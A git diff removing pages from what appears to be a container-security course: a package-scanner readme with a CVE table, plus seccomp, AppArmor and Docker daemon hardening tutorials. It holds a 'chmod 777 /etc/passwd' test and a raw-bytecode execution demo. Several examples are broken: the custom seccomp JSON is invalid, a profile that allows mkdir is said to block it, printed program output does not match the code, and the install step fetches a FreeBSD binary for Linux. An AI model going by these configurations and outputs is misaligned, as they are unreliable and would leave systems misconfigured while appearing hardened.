package-scanner_Darwin_arm64.tar.gz -- package-scanner_Darwin_x86_64.tar.gz -- package-scanner_Linux_arm64.tar.gz -- package-scanner_Linux_x86_64.tar.gz -- package-scanner_darwin_amd64_v1 -- package-scanner_darwin_arm64 -- package-scanner_linux_amd64_v1 -- package-scanner_linux_arm64 - - -ClI usage - -scan a docker image for vulnerabilities - -``` bash -./package-scannner -source nginx:latest -``` - -Scan a docker images , filter for critical vulnerabilities - -```bash -./package-scanner -source nginx:latest -severity critical -``` - -Scan a docker images with CVEs - - - - -```bash -./package-scanner -source nginx:latest -INFO[2023-01-06T15:10:15+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///var/run/docker.sock' with timeout '10s' -INFO[2023-01-06T15:10:15+05:30] autodetect.go:116 connected successfully using endpoint: unix:///var/run/docker.sock -INFO[2023-01-06T15:10:15+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///run/containerd/containerd.sock' with timeout '10s' -WARN[2023-01-06T15:10:25+05:30] autodetect.go:124 could not connect to endpoint 'unix:///run/containerd/containerd.sock': context deadline exceeded -INFO[2023-01-06T15:10:25+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///run/k3s/containerd/containerd.sock' with timeout '10s' -WARN[2023-01-06T15:10:35+05:30] autodetect.go:124 could not connect to endpoint 'unix:///run/k3s/containerd/containerd.sock': context deadline exceeded -INFO[2023-01-06T15:10:35+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///var/run/crio/crio.sock' with timeout '10s' -WARN[2023-01-06T15:10:35+05:30] autodetect.go:146 could not connect to endpoint 'unix:///var/run/crio/crio.sock': dial unix /var/run/crio/crio.sock: connect: no such file or directory -INFO[2023-01-06T15:10:35+05:30] autodetect.go:184 container runtime detected: docker -INFO[2023-01-06T15:10:35+05:30] run-once.go:57 generating sbom for nginx:latest ... -INFO[2023-01-06T15:10:49+05:30] run-once.go:82 scanning sbom for vulnerabilities ... -summary: - total=142 critical=8 high=42 medium=79 low=13 -+------------------+-----------------+-------------------------------------+----------------------------------------------------+ -| CVE ID | SEVERITY | PACKAGE | DESCRIPTION | -+------------------+-----------------+-------------------------------------+----------------------------------------------------+ -| CVE-2019-1010022 | critical | libc-bin:2.31-13+deb11u5 | ** DISPUTED ** GNU Libc | -| | | | current is affected by: | -| | | | Mitigation bypass. The impact | -| | | | is: Attacker may bypass | -| | | | stack guard protection. The | -| | | | component is: nptl. The attack | -| | | | vector is: Exploit stack | -| | | | buffer overflow vulnerability | -| | | | and use this bypass | -| | | | vulnerability to bypass stack | -| | | | guard. NOTE: Upstream comments | -| | | | indicate "this is being | -| | | | treated as a non-security bug | -| | | | and no real threat." | -| CVE-2019-1010022 | critical | libc6:2.31-13+deb11u5 | ** DISPUTED ** GNU Libc | -| | | | current is affected by: | -| | | | Mitigation bypass. The impact | -| | | | is: Attacker may bypass | -| | | | stack guard protection. The | -| | | | component is: nptl. The attack | -| | | | vector is: Exploit stack | -| | | | buffer overflow vulnerability | -| | | | and use this bypass | -| | | | vulnerability to bypass stack | -| | | | guard. NOTE: Upstream comments | -| | | | indicate "this is being | -| | | | treated as a non-security bug | -| | | | and no real threat." | -| CVE-2017-9117 | critical | libtiff5:4.2.0-1+deb11u1 | In LibTIFF 4.0.7, the | -| | | | program processes BMP images | -| | | | without verifying that | -| | | | biWidth and biHeight in the | -| | | | bitmap-information header | -| | | | match the actual input, | -| | | | leading to a heap-based buffer | -| | | | over-read in bmp2tiff. | -| CVE-2019-8457 | critical | libdb5.3:5.3.28+dfsg1-0.8 | SQLite3 from 3.6.0 to and | -| | | | including 3.27.2 is vulnerable | -| | | | to heap out-of-bound read in | -| | | | the rtreenode() function when | -| | | | handling invalid rtree tables. | -| CVE-2005-2541 | critical | tar:1.34+dfsg-1 | Tar 1.15.1 does not properly | -| | | | warn the user when extracting | -| | | | setuid or setgid files, | -| | | | which may allow local users | -| | | | or remote attackers to gain | -| | | | privileges. | -| CVE-2022-3970 | critical | libtiff5:4.2.0-1+deb11u1 | A vulnerability was found in LibTIFF. | -| | | | It has been classified as critical. This | -| | | | affects the function TIFFReadRGBATileExt | -| | | | of the file libtiff/tif_getimage.c. | -| | | | The manipulation leads to integer | -| | | | overflow. It is possible to initiate | -| | | | the attack remotely. The exploit has | -| | | | been disclosed to the public and may | -| | | | be used. The name of the patch is | -| | | | 227500897dfb07fb7d27f7aa570050e62617e3be. | -| | | | It is recommended to apply a patch to fix | -| | | | this issue. The identifier VDB-213549 was | -| | | | assigned to this vulnerability. | -| CVE-2022-32221 | critical | libcurl4:7.74.0-1.3+deb11u3 | When doing HTTP(S) transfers, | -| | | | libcurl might erroneously | -| | | | use the read callback | -| | | | (`CURLOPT_READFUNCTION`) to | -| | | | ask for data to send, even | -| | | | when the `CURLOPT_POSTFIELDS` | -| | | | option has been set, if the | -| | | | same handle previously was | -| | | | used to issue a `PUT` request | -| | | | which used that callback. | -| | | | This flaw may surprise the | -| | | | application and cause it to | -| | | | misbehave and either send off | -| | | | the wrong data or use memory | -| | | | after free or similar in the | -| | | | subsequent `POST` request. The | -| | | | problem exists in the logic | -| | | | for a reused handle when it is | -| | | | changed from a PUT to a POST. | -| CVE-2022-32221 | critical | curl:7.74.0-1.3+deb11u3 | When doing HTTP(S) transfers, | -| | | | libcurl might erroneously | -| | | | use the read callback | -| | | | (`CURLOPT_READFUNCTION`) to | -| | | | ask for data to send, even | -| | | | when the `CURLOPT_POSTFIELDS` | -| | | | option has been set, if the | -| | | | same handle previously was | -| | | | used to issue a `PUT` request | -| | | | which used that callback. | -| | | | This flaw may surprise the | -| | | | application and cause it to | -| | | | misbehave and either send off | -| | | | the wrong data or use memory | -| | | | after free or similar in the | -| | | | subsequent `POST` request. The | -| | | | problem exists in the logic | -| | | | for a reused handle when it is | -| | | | changed from a PUT to a POST. | -| CVE-2021-33560 | high | libgcrypt20:1.8.7-6 | Libgcrypt before 1.8.8 and | -| | | | 1.9.x before 1.9.3 mishandles | -| | | | ElGamal encryption because | -| | | | it lacks exponent blinding | -| | | | to address a side-channel | -| | | | attack against mpi_powm, | -| | | | and the window size is not | -| | | | chosen appropriately. This, | -| | | | for example, affects use of | -| | | | ElGamal in OpenPGP. | -| CVE-2019-20838 | high | libpcre3:2:8.39-13 | libpcre in PCRE before 8.43 | -| | | | allows a subject buffer | -| | | | over-read in JIT when UTF | -| | | | is disabled, and \X or \R | -| | | | has more than one fixed | -| | | | quantifier, a related issue to | -| | | | CVE-2019-20454. | -| CVE-2022-29458 | high | ncurses-base:6.2+20201114-2 | ncurses 6.3 before patch | -| | | | 20220416 has an out-of-bounds | -| | | | read and segmentation | -| | | | violation in convert_strings | -| | | | in tinfo/read_entry.c in the | - - - - - -``` - -## docker image standlone scanner - -```bash -docker run --rm -v /var/run/docker.sock:/var/run/docker.sock sangam14/package-scanner:latest -source nginx:latest -``` diff --git a/content/en/containersecurity/b2.containervsVM.md b/content/en/containersecurity/b2.containervsVM.md deleted file mode 100644 index 34939b6..0000000 --- a/content/en/containersecurity/b2.containervsVM.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: "Container vs Virtualization" -description: "The introduction to this course." -slug: "Container-vs-Virtualization" ---- - -### A Shift from Monolithic to Microservice Architecture - -## Monolithic - -Application have changed dramarically -- A Decade Ago ( and still valid ) - - Apps were monolithic - - Built on single stack such as .NET or Java - - Long Lived - - Deployed to a single server - -Benefits of monolith - Simple to Develop , Test , Deplot & Scale - - simple to develope because of all the tools and IDEs aupport to that kind of application by default - - easy to deploy because all coponets are packed into one bundle - - Easy to scale the whole application - -Disadvantages of monolith - - Very difficult to maintain - - One Component failure will cause the whole system to fail - - Very difficult to understand and create the patches for monolithic applications - - Take a long time to startup because all the components need to get started - -## Microservice - -Today - - Apps are constantly developed - - Build from losely coupled components - - New version are deployed often - - Deployed to a multitude of server - - -## shipping code is damm too hard - -an efforts to solve complet problem - -![](./images/solve-problem.png) - -## every possible good to ship X every possible way to ship - -![](./images/pssiblewaytoship.png) - -## Enter ... Internodal container - -![](./images/intermodl-container.png) - - -## Thats what Docker all about -![](./images/whatdocker.png) - - - -## Comparing Docker vs VM - -| Virtual Machine | Docker | -|-|-| -| each VM runs its own os | Container is just a user space of OS | -| Boot up time os in minutes | Containers instantiate in seconds | -| VMs snapshots are used sparingly | Images are built incrementaly on top of another layers . lot of images /snapshots | -| Not effective diffs . No versiob controlled | Images can be version controlled docker hub is like GITHUB | -| Cannot run more than couple of VMs on an aveage laptop | Can run many docker containers in a laptop | -| Only one VM can be stated from one set of VMX and VMDK file | Multiple Docker Containers can be started from one Docker images | - - - - diff --git a/content/en/containersecurity/b20.SecComp-AppArmor.md b/content/en/containersecurity/b20.SecComp-AppArmor.md deleted file mode 100644 index a4d47f5..0000000 --- a/content/en/containersecurity/b20.SecComp-AppArmor.md +++ /dev/null @@ -1,604 +0,0 @@ ---- -title: "Docker host security configurations" -slug: "Docker-host-security-configurations" ---- - -## SecComp and AppArmor - -Docker works with major Linux MAC technologies such as AppArmor and SELinux. - -Depending on your Linux distribution, Docker applies a default AppArmor profile to all new containers. According to the Docker documentation, this default profile is “moderately protective while providing wide application compatibility”. - -Docker also lets you start containers without a policy applied, as well as giving you the ability to customize policies to meet specific requirements. This is also very powerful, but can also be prohibitively complex. - -## seccomp - -Docker uses seccomp, in filter mode, to limit the syscalls a container can make to the host’s kernel. - -As per the Docker security philosophy, all new containers get a default seccomp profile configured with sensible defaults. This is intended to provide moderate security without impacting application compatibility. - -![](./images/seccomp.png) - -As always, you can customize seccomp profiles, and you can pass a flag to Docker so that containers can be started without a seccomp profile. - -As with many of the technologies already mentioned, seccomp is extremely powerful. However, the Linux syscall table is long, and configuring the appropriate seccomp policies can be prohibitively complex. - -# Concluding Linux security technologies - -Docker supports most of the important Linux security technologies and ships with sensible defaults that add security but aren’t too restrictive. The figure below shows how these technologies form multiple layers of potential security. - -Some of these technologies can be complicated to customize as they require deep knowledge of how the Linux kernel works. Hopefully, they will get simpler to configure in the future, but for now, the default configurations that ship with Docker might be a good place to start. - - - -## SecComp Exercise 1 - - -```bash -grep SECCOMP /boot/config-$(uname -r) -``` -get the fitst test for seccomp in strict mode - -```seccomp_strict.c -#include -#include -#include -#include -#include -#include - - -int main(int argc, char **argv) -{ - int output = open("output.txt", O_WRONLY); - const char *val = "test"; - - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); - - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); - - printf("You will not see this message--the process will be killed first\n"); -} -``` - -```bash -sudo gcc seccomp_stric.c -o seccomp_strict -./seccomp_strict -``` - -open()system call is not allowed by secccomp strict mode - -get the file ro test for seccomp in filter mode - -```c -#include -#include -#include -#include - -void main(void) -{ - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - - /* allow exiting */ - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - - /* allow getting the current pid */ - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - - /* allow changing data segment size, as required by glibc */ - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - - /* allow writing up to 512 bytes to fd 1 */ - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); - - /* if writing to any other fd, return -EBADF */ - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); - - /* load and enforce the filters */ - seccomp_load(ctx); - seccomp_release(ctx); - - printf("this process is %d\n", getpid()); -} - -``` - -we have first initiazed the seccomp in filter mode . previouly have used `prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);` to set the seccomp in strict mode . - -```bash -sudo gcc seccomp_bpf.c -o seccomp_bpf -``` -install libseccomp-dev - -```bash -sudo apt-get install libseccomp-dev -``` - - -```bash -sudo gcc seccomp_bpf.c -o seccomp_bpf -lseccomp -``` - -```bash -./seccomp_bpf -``` - -output - -```bash -initiating seccomp ... -add rule to allow exit_group -add rule to allow getpid -add rule to allow brk -add rule to allow write upto 512 bytes to fd 1 -add rule to allow write to any other fd except 1 -loading seccomp filter ... - -``` - -inspecting the output one can look here that all the rules added to seccomp BPF folter with a process -ID since we have added the rule to allow getpid() system call . - - - -open seccomp_bpf.c and add the following code to the end of the file - - -```c -#include -#include -#include -#include -#include -#include - -/* "mov al,42; ret" aka "return 42" */ -static const unsigned char code[] = "\xb0\x2a\xc3"; - -void main(void) -{ - int fd[2], ret; - - /* spawn child process, connected by a pipe */ - pipe(fd); - if (fork() == 0) { - close(fd[0]); - - /* enter mode 1 seccomp and execute untrusted bytecode */ - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - ret = (*(uint8_t(*)())code)(); - - /* send result over pipe, and exit */ - write(fd[1], &ret, sizeof(ret)); - syscall(SYS_exit, 0); - } else { - close(fd[1]); - - /* read the result from the pipe, and print it */ - read(fd[0], &ret, sizeof(ret)); - printf("untrusted bytecode returned %d\n", ret); - } -} - -``` - -```bsh -$ suod gcc seccomp_bpf.c -o seccomp_bpf2 -lseccomp -$ ./seccomp_bpf2 -initiating seccomp ... -add rule to allow exit_group -add rule to allow getpid -add rule to allow brk -add rule to allow write upto 512 bytes to fd 1 -add rule to allow write to any other fd except 1 -loading seccomp filter ... -this process is -9 -``` - - -## seccomp in docker - -step 1. check the SECCOMP is working and configured in docker daemon - -```bash -docker info | grep seccomp -``` - -step 2. check the seccomp profile of the container - -```bash -docker inspect --format='{{json .HostConfig.SecurityOpt}}' -``` - -seccomp-profiles/deny.json - -```json -{ - "defaultAction": "SCMP_ACT_ERRNO", - "architectures": [ - "SCMP_ARCH_X86_64", - "SCMP_ARCH_X86", - "SCMP_ARCH_X32" - ], - "syscalls" : [ - - ] -} - -``` - -a docker seccomp profile consists of 3 required entries viz. defaultAction, architectures and syscalls. the possible action of precedence are - -* SCMP_ACT_KILL - - kill with am status of 0x80 + 31(SIGSYS) = 159 -* SCMP_ACT_TRAP - - send SIGSYS signal without executing the syscall -* SCMP_ACT_ERRNO - - set erno withou executing the syscall -* SCMP_ACT_TRACE - - invoke a ptrace to make a decision or set errno to Enosys -* SCMP_ACT_ALLOW - - allow the syscall to execute - -``` - -docker run --security-opt seccomp=seccomp-profiles/deny.json -it ubuntu bash -``` -using `--security-opt seccomp=seccomp-profiles/deny.json` we have set the seccomp profile to the container . -notice here that since not even single system call is allwoed , the docker container is not able to run . - - - -create sc-custom.json - -```json -{ - "defaultAction": "SCMP_ACT_ALLOW", - "architectures": [ - "SCMP_ARCH_X86_64", - "SCMP_ARCH_X86", - "SCMP_ARCH_X32" - ], - "syscalls" : [ - { - "names":"mkdir", - "action": "SCMP_ACT_ALLOW", - "args::[] - - }, - { - "names": "chmod" , - "action": "SCMP_ACT_ERRNO", - "args::[] - } - - ] -} - -``` - -before going to run this commands see what -all system call actally take place while hitting mkdir command inside an alphine -container using strace - -```bash -docker run -rm -it --security-opt seccomp=unconfined alphine sh -``` - -```bash -apk add strace -strace mkdir test -exit -``` - -we have installed strace utility inside the container and then run the mkdir command .the system call oberved include `execve ` , -`arch_prtctl` ` mprotect` `brk` `access` `openat` `mkdirat` `fstat` `close` `exit_group` . test directory is created inside the container . - - -Now run another contaiet with same aphine image with new `sc-custom.json` seccomp profile . - -```bash -docker run -rm -it --security-opt seccomp=sc-custom.json alphine sh -``` - -```bash -ls -mkdir test -``` -mkdir: can't create directory 'test': Operation not permitted - -```bash -# chmod /etc/ -``` -clearly , the seccomp profile attavhed is blocking the mkdir and chmod system call . -lets comfirm it with strace utility agin - - -```bash -apk add strace -strace mkdir test -``` - -as expected the systm call got rejected with `Operation not permitted` error . since also we have added a deny condition for chmod system call . - -Run a docker container with the same seccomp file with chmpd over file 777 permission - -```bash -$ docker run -rm -it --security-opt seccomp=sc-custom.json alphine sh chmod 777 /etc/passwd -``` -this os also denyed by the seccomp profile . - -for more play with `default.json` seccomp -profile available on moby github repo - - - -## app armor - -appArmor is a MAC (Mandatory Access Control) system that is used to restrict the access of a process to the system resources . its implements a task centered policy with task -"profile" being created and loaded from user space - -tasks on the syste, that do not have profi;e defined for them run an uncofined state which is equivalant to standared Linux DAC (Discretionary Access Control) . permissions . - -appArmor works on file paths . it comes as default LSM for ubuntu and SUSE . - -1. let check our dpcler version and service status - -```bash - -$ docker version -$ systemctl status docker -``` - - - -2. check AppArmor in docker info - -```bash -docker info -f '{{json .SecurityOptions}}' -``` - -3. chheck AppArmor status . it might required sudo access - -```bash -$ apparmor_status -$ sudo apparmor_status -``` -this will provide us the infromation about all the profile loaded and the mode of profiles with process - -the apparmor_status and aa-status can used interchangeably . just check if they are available with your system installation or not gernerally they comes in package call -`apparmor-utils` . -```bash - -$ which apparmor_status -$ which aa-status -``` -and one can gain insight about the number of profile also - -```bash -$ sudp aa-status --help -$ sudo aa-status --enabled [No error output means apparmor is enabled] -$ sudo aa-status --profiles [prints the no of loaded policies ] -$ sudo aa-status --enforce [prints the no of enforced policies ] - -``` - -Install an AppArmor Profile generator tool called `bane` - -```bash -# Export the sha256sum for verification. -$ export BANE_SHA256="e70b1d67333975eb705b08045de9558483daae05792a1ff28dcec28d4c164386" - -# Download and check the sha256sum. -$ curl -fSL "https://github.com/genuinetools/bane/releases/download/v0.4.4/bane-freebsd-amd64" -o "/usr/local/bin/bane" \ - && echo "${BANE_SHA256} /usr/local/bin/bane" | sha256sum -c - \ - && chmod a+x "/usr/local/bin/bane" - -$ echo "bane installed!" - -# Run it! -$ bane -h -``` - -get the sample TOML file for creation of AppArmor profile from bane Github - - -```bash -$ sudo curl -o sample.toml https://raw.githubusercontent.com/genuinetools/bane/master/sample.toml -$ ls -``` -the parts of the sample.toml file are - -a. `name` key value pair is the name of the profile . - -``` -# name of the profile, we will auto prefix with `docker-` -# so the final profile name will be `docker-nginx-sample` -Name = "nginx-sample" - -``` - -b . `Filesystem ` table with different arrays like ReadOnlyPaths , LogOnWritePaths , WritePaths , ReadPaths , NoAccessPaths , ReadOnlyPaths . - -```bash - -[Filesystem] -# read only paths for the container -ReadOnlyPaths = [ - "/bin/**", - "/boot/**", - "/dev/**", - "/etc/**", - "/home/**", - "/lib/**", - "/lib64/**", - "/media/**", - "/mnt/**", - "/opt/**", - "/proc/**", - "/root/**", - "/sbin/**", - "/srv/**", - "/tmp/**", - "/sys/**", - "/usr/**", -] - -# paths where you want to log on write -LogOnWritePaths = [ - "/**" -] - -# paths where you can write -WritablePaths = [ - "/var/run/nginx.pid" -] - -# allowed executable files for the container -AllowExec = [ - "/usr/sbin/nginx" -] - -# denied executable files -DenyExec = [ - "/bin/dash", - "/bin/sh", - "/usr/bin/top" -] - -``` - -C. Capabilties table allow array for allowing Linux capabilities . - -```toml -# allowed capabilities -[Capabilities] -Allow = [ - "chown", - "dac_override", - "setuid", - "setgid", - "net_bind_service" -] - - -``` - -D . Network table with Raw , Packet , Protocols array . - -```toml - -[Network] -# if you don't need to ping in a container, you can probably -# set Raw to false and deny network raw -Raw = false -Packet = false -Protocols = [ - "tcp", - "udp", - "icmp" -] - -``` - -build the sample file with bane and check apparmor status if this profile gets enforced - -```bash -$ sudo bane sample.toml -$ sudo aa-status | grep docker - -``` -notice that there was already loaded `docker-default` profile . - - -```bash -$ sudo ls /etc/apparmor.d/containers/ -docker-ngnix-sample -``` - -```bash -sudo cat /etc/apparmor.d/containers/docker-nginx-sample -``` - -```c - #include - - profile docker-nginx-sample flags=(attach_disconnected,mediate_deleted) { - #include - #include - #include - - /bin/** r, - /boot/** r, - /dev/** r, - /etc/** r, - /home/** r, - /lib/** r, - /lib64/** r, - /media/** r, - /mnt/** r, - /opt/** r, - /proc/** r, - /root/** r, - /sbin/** r, - /srv/** r, - /tmp/** r, - /sys/** r, - /usr/** r, - /var/run/nginx.pid rw, - /usr/sbin/nginx ix, - deny /bin/dash ix, - deny /bin/sh ix, - deny /usr/bin/top ix, - capability chown, - capability dac_override, - capability setuid, - capability setgid, - capability net_bind_service, - network raw, - network packet, - deny network raw, - deny network packet, - deny network tcp, - deny network udp, - deny network icmp, - } - - ..... - -``` - -Apply the above bane generated profile to the container before that lets -analyze some commands that we can perfectly run within a container not attached to this profile - - -```bash -$ docker run -it --rm --name without-aa -p 4444:80 nginx bash -# sh -# dash -# bash -# exit -# exist -``` -in this ngnix container we are able to run many variants of shell like bash sh and dash without any error - - -now attach th profile and try to achive the same - -```bash -$ docker run -it --rm --name with-aa --security-opt="apparmor:docker-nginx-sample" -p 4444:80 nginx bash -``` -As expected, the attached AppArmor profile is not allowing us to spawn shells inside the container. This is how an AppArmor profile can be attached to a Docker container using `--security-opt` and the different executables and capabilities can be controlled. Till now, we have seen that Docker uses many Linux technologies, such as Capabilities, AppArmor and SecComp for defense. However, AppArmor can protect a Docker Host even when the other lines of defense such as SecComp and Capabilities are not effective. Remember that if you are not explicitly defining any AppArmor profile, the `default-docker` AppArmor profile will get automatically attached. Until and unless `--security-opt apparmor=unconfined` is not present during the container run command execution `default-docker` - apparmor profile will be remain loaded . - - \ No newline at end of file diff --git a/content/en/containersecurity/b21.docker-daemon-sec.md b/content/en/containersecurity/b21.docker-daemon-sec.md deleted file mode 100644 index 1142cd0..0000000 --- a/content/en/containersecurity/b21.docker-daemon-sec.md +++ /dev/null @@ -1,426 +0,0 @@ ---- -title: "Docker Daemon security configurations" -slug: "Docker-Daemon-security-configurations" ---- - - - # docker daemon security configuration - - -Install docker CE 19.03 - -```bash - -# yum install -y yum-utils device-mapper-persistent-data lvm2 -# yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo - -# yum install -y docker-ce - -[root@localhost docker]# docker --version -Docker version 19.03.8, build afacb8b - -``` - - -# Daemon security configuration - -There is no configuration file by default, which needs to be created separately/etc/docker/daemon.json, the following configurations are all local test examples configured on this file. - - -```json -{ - "icc": false, - "log-level": "info", - "log-driver": "json-file", - "log-opts": { - "max-size": "10m", - "max-file":"5", - "labels": "somelabel", - "env": "os,customer" - }, - "iptables": true, - "userns-remap": "default", - "userland-proxy": false, - "experimental": false, - "selinux-enabled": true, - "live-restore": true, - "no-new-privileges": true, - "cgroup-parent": "/foobar", - "seccomp-profile": "/etc/docker/seccomp/default-no-chmod.json", - "tls": true, - "tlsverify": true, - "tlscacert": "/etc/docker/CA/ca.pem", - "tlscert": "/etc/docker/CA/server-cert.pem", - "tlskey": "/etc/docker/CA/server-key.pem" -} - - -``` - -# configure access to docker daemon through HTTPS and certificate authentication - -Server certificate - -Create a host and define a domain (IP can also be used). The corresponding certificate will be generated according to the domain. It is generally used to register the CN in the certificate: - -Create certificate Directory: - -```bash -$ mkdir -p /etc/docker/dockerd/CA && cd /etc/docker/dockerd/CA -``` - - -Generate the key certificate and fill in the key certificate password twice: -```bash -$ openssl genrsa -aes256 -out ca-key.pem 4096 -``` -To generate a CA certificate, you need to enter the basic information of the registration certificate: -```bash -$ openssl req -new -x509 -days 365 -key ca-key.pem -sha256 -out ca.pem -``` -Create server certificate: - -```bash -$ openssl genrsa -out server-key.pem 4096 - -$ openssl req -subj "/CN=localhsot" -sha256 -new -key server-key.pem -out server.csr -``` - -Set the IP address specified by the certificate: - - -```bash -$ echo subjectAltName = DNS:localhost,IP:127.0.0.1 >> extfile.cnf -``` -Set the extended usage property of the docker daemon key to server authentication only: -```bash -$ echo extendedKeyUsage = serverAuth >> extfile.cnf -``` -Generate server cert certificate: -```bash -$ openssl x509 -req -days 3650 -sha256 -in server.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out server-cert.pem -extfile extfile.cnf -``` -Client certificate - -Create client certificate: (or current directory) -```bash -$ openssl genrsa -out key.pem 4096 -$ openssl req -subj '/CN=localhost' -new -key key.pem -out client.csr - -``` -To make the key suitable for client authentication, create an extended profile: - - -```bash -$ echo extendedKeyUsage = clientAuth >> extfile.cnf -``` - -Generate client cert certificate: - -```bash -$ openssl x509 -req -days 3650 -sha256 -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem -extfile extfile.cnf - -``` - -use - -Give corresponding permissions to the certificate: - -```bash -$ chmod -v 0400 ca-key.pem key.pem server-key.pem -$ chmod -v 0444 ca.pem server-cert.pem cert.pem - -[root@localhost CA]# ls -ca-key.pem ca.pem ca.srl cert.pem client.csr extfile.cnf key.pem server-cert.pem server.csr server-key.pem - -``` -Server configuration /etc/docker/daemon.json - -```json - -"tls": true, -"tlsverify": true, -"tlscacert": "/etc/docker/CA/ca.pem", -"tlscert": "/etc/docker/CA/server-cert.pem", -"tlskey": "/etc/docker/CA/server-key.pem" -``` - -Client configuration - -Set the client certificate on the server and place it in the corresponding location: - -```bash -$ cp -v {ca,cert,key}.pem ~/.docker -$ export DOCKER_HOST=tcp://$HOST:2376 DOCKER_TLS_VERIFY=1 - -``` - -Simulate the test as follows: - -```json -$ curl https://$HOST:2376/images/json - --cert ~/.docker/cert.pem - --key ~/.docker/key.pem - --cacert ~/.docker/ca.pem - -[{"Containers":-1,"Created":1540777343,"Id":"sha256:55e7b305dc477345434ce3bd3941940481f982eea31c8f28c0670d59c63d544b","Labels":nu -``` - -# using namespace isolation technology - -Namespace is an isolation technology. Docker uses the isolation technology to open a specific namespace and create some special processes, but the use of namespace is conditional. The system will create a dockremap and map it to the container through the ID values corresponding to / etc / subuid and / etc / subuid; The actual situation still uses the ordinary permission of dockremap to achieve the effect of automatic isolation. - - - -Modify first/etc/sysctl.conf -```conf -# echo “user.max_user_namespaces=15076” >> /etc/sysctl.conf -``` -stay /etc/docker/daemon.json Add the configuration item “userns remap”: “default” - -Be careful when modifying this configuration. If you have deployed a set of docker environment, after enabling this option, you will switch to the isolated environment, and the previous docker container will not be used! - - -``` - -[root@localhost docker]# cat /etc/subuid -dockremap:100000:65536 - -``` - -# setting the partition of docker - -Create a separate partition for the container. The default partition isvarlibdocker, including local images, containers, networks and other related things. - -```bash - -root@localhost docker]# ls /var/lib/docker -``` - -100000.100000 builder buildkit containers image network overlay2 plugins runtimes swarm tmp trust volumes - -You can use “data root”: “to configure the default partition location. - -# limit traffic between default bridge containers - -When the docker service is started, a forwarding policy will be added to the forward chain of iptables by default. Whether the policy is accept or drop depends on whether — ICC = true (default) or — ICC = false is configured. If — iptables = false is manually specified, iptables rules will not be added. - - -By default, all network communication is allowed between containers on the same host on the default bridge. If not required, the communication between all containers is limited. Link specific containers that need to communicate together, or create a custom network and join only containers that need to communicate with the custom network. - - -Configure to limit the traffic “ICC” between containers on the default bridge: false - -# configuration log - -Configure the centralized remote log, set the log process — log level level to info, log record format JSON, local log record - -```json - -"log-level": "info", -"log-driver": "json-file", -"log-opts": { - "max-size": "10m", - "max-file":"5", - "labels": "somelabel", - "env": "os,customer" -}, - -``` - -![Alt text](./images/config-remote.jpg) - - -The docker logging driver receives the container log and forwards it to a remote destination or file. The default logging driver isjson-file。 It stores container logs on local disk in JSON format. Docker has a plug-in architecture for logging, so there are plug-ins for open source tools and commercial tools: - - -Journaled – stores the container log in the system log - -Syslog driver – supports UDP, TCP, TLS - -Fluent D – supports connecting TCP or UNIX sockets to fluent D - -Splunk – http / HTTPS forwarding to Splunk server - -Gel – UDP logs forwarded to graylog2 - -Example fluent - - -``` -{ - "log-driver": "fluentd", - "log-opts": { - "fluentd-address": "fluentdhost:24224" - } - } - -``` - -Using syslog - -``` -{ - "log-driver": "syslog", - "log-opts": { - "syslog-address": "udp://1.2.3.4:1111" - } -} -``` - -# setting ulimit - - -``` -{ - "default-ulimits": { - "nofile": { - "Name": "nofile", - "Hard": 64000, - "Soft": 64000 - } - } -} -``` - -# setting CGroup - -The cggroup parent option allows you to set the default cggroup parent for the container. If this option is not set, the default value for FS CGroup driver is / docker; For SYSTEMd CGroup driver, the default is system slice 。 - -If CGroup has a forward slash (/), CGroup is created under the root CGroup, otherwise CGroup is created under the daemon CGroup. - - -Assuming that the daemon runs in CGroup daemon CGroup, then — CGroup parent = / foobar creates a CGroup in / sys / FS / CGroup / memory / foobar, while — CGroup parent = foobar creates a CGroup/sys/fs/cgroup/memory/daemoncgroup/foobar Create CGroup in. - -SYSTEMd CGroup driver has different rules for – CGroup parent. System D represents the hierarchy by slice, and the name of the slice encodes the position in the tree. Therefore, the — CGroup parent of SYSTEMd CGroup should be the slice name. Names can contain a series of names separated by dashes that describe the path from the root slice to the slice. For example, — CGroup parent = user-a-b.slice indicates that the memory of the container is CGroup /sys/fs/cgroup/memory/user.slice/user-a.slice/user-a-b.slice/docker-.scope Created in. - -You can also use container run to set it. Using the — CGroup parent option on docker create and docker run will take precedence over the — CGroup parent option on the daemon. - - -# configuring seccomp - -For the test configuration file used, it is forbidden to use the Chmod command in docker - -``` -https://github.com/docker/labs/blob/master/security/seccomp/seccomp-profiles/default-no-chmod.json -[root@localhost docker]# docker run --rm -it alpine sh -/ # ls bin etc lib mnt proc run srv tmp var -dev home media opt root sbin sys usr / # touch foo.sh -/ # chmod +x foo.sh -chmod: foo.sh: Operation not permitted -/ # exit - - - - -``` -It can actually complete some system related calls of prohibition, permission and alarm. Refer to:https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl - -# disable the experimental function of docker - -Set “experimental”: false - -2.11 restrict containers from raising rights through suid or sgid - -The no new privileges security option prevents application processes within the container from gaining new privileges during execution. - -For example: there is a program with setuid / setgid bit set in the image, such as sudo. The process in the container also has (file) permission to execute the program. Any operation attempting to obtain privileges through facilities such as setuid / setgid will be rejected. - 